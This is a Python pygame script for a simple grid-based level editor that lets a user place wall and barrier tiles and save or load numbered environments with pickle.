import pygame import pickle from os import path pygame.init() clock = pygame.time.Clock() FPS = 60 WHITE = (255, 255, 255) BLACK = (0, 0, 0) GREY = (128, 128, 128) FONT = pygame.font.SysFont('Futura', 24) # game window grid_size = 30 cols = 20 margin = 90 screen_width = grid_size * cols screen_height = (grid_size * cols) + margin screen = pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Environment Creator') # image upload wall = pygame.image.load("img/wall.png") bluebg = pygame.image.load("img/bluebg.jpg") save = pygame.image.load('img/save.png') load = pygame.image.load('img/load.png') bluebg = pygame.transform.scale(bluebg, (screen_width, screen_height - margin)) wall.convert() bluebg.convert() save.convert() load.convert() # define game variables clicked = False environment = 1 # create empty environment list environment_data = [] for row in range(cols): r = [0] * cols environment_data.append(r) # create boundary for tile in range(0, cols): environment_data[cols - 1][tile] = 1 environment_data[0][tile] = 1 environment_data[tile][0] = 1 environment_data[tile][cols - 1] = 1 # draw grids def draw_grid(): for grid in range(cols + 1): # vertical lines pygame.draw.line(screen, GREY, (grid * grid_size, 0), (grid * grid_size, screen_height - margin)) # horizontal lines pygame.draw.line(screen, GREY, (0, grid * grid_size), (screen_width, grid * grid_size)) def draw_environment(): for row in range(cols): for col in range(cols): if environment_data[row][col] > 0: if environment_data[row][col] == 1: # walls img = pygame.transform.scale(wall, (grid_size, grid_size)) screen.blit(img, (col * grid_size, row * grid_size)) if environment_data[row][col] == 2: # barriers screen.fill(BLACK, pygame.Rect(col * grid_size, row * grid_size, grid_size, grid_size)) # function for outputting text onto the screen def draw_text(text, font, text_col, x, y): img = font.render(text, True, text_col) screen.blit(img, (x, y)) def draw_save(): action = False rect = save.get_rect() rect.center = 470, 650 clicked = False # get mouse position pos = pygame.mouse.get_pos() # check mouseover and clicked conditions if rect.collidepoint(pos) and pygame.mouse.get_pressed()[0] == 1 and clicked == False: action = True clicked = True if pygame.mouse.get_pressed()[0] == 0: clicked = False # draw button screen.blit(save, (rect.x, rect.y)) return action def draw_load(): action = False rect = load.get_rect() rect.center = 560, 650 clicked = False # get mouse position pos = pygame.mouse.get_pos() # check mouseover and clicked conditions if rect.collidepoint(pos) and pygame.mouse.get_pressed()[0] == 1 and clicked == False: action = True clicked = True if pygame.mouse.get_pressed()[0] == 0: clicked = False # draw button screen.blit(load, (rect.x, rect.y)) return action # main game loop run = True while run: clock.tick(FPS) # draw background screen.fill(WHITE) screen.blit(bluebg, (0, 0)) # load and save environment if draw_save(): # print(environment_data) # save environment data pickle_out = open(f'environment{environment}_data', 'wb') pickle.dump(environment_data, pickle_out) pickle_out.close() # load in environment data if draw_load() and path.exists(f'environment{environment}_data'): pickle_in = open(f'environment{environment}_data', 'rb') environment_data = pickle.load(pickle_in) # show the grid and draw the environment tiles draw_grid() draw_environment() # text showing current environment draw_text(f'Enivironment: {environment}', FONT, BLACK, grid_size, screen_height - 60) draw_text('Press UP or DOWN keys to set environment number', FONT, BLACK, grid_size, screen_height - 40) # event handler for event in pygame.event.get(): # quit game if event.type == pygame.QUIT: run = False # mouseclicks to change tiles if event.type == pygame.MOUSEBUTTONDOWN and clicked == False: clicked = True pos = pygame.mouse.get_pos() x = pos[0] // grid_size y = pos[1] // grid_size # check that the coordinates are within the tile area if x < cols and y < cols: # update tile value if pygame.mouse.get_pressed()[0]: environment_data[y][x] += 1 if environment_data[y][x] > 2: environment_data[y][x] = 0 elif pygame.mouse.get_pressed()[2]: environment_data[y][x] -= 1 if environment_data[y][x] < 0: environment_data[y][x] = 2 if event.type == pygame.MOUSEBUTTONUP: clicked = False # up and down key presses to change environment number if event.type == pygame.KEYDOWN: if event.key == pygame.K_UP: environment += 1 elif event.key == pygame.K_DOWN and environment > 1: environment -= 1 # update game display window pygame.display.update() pygame.quit()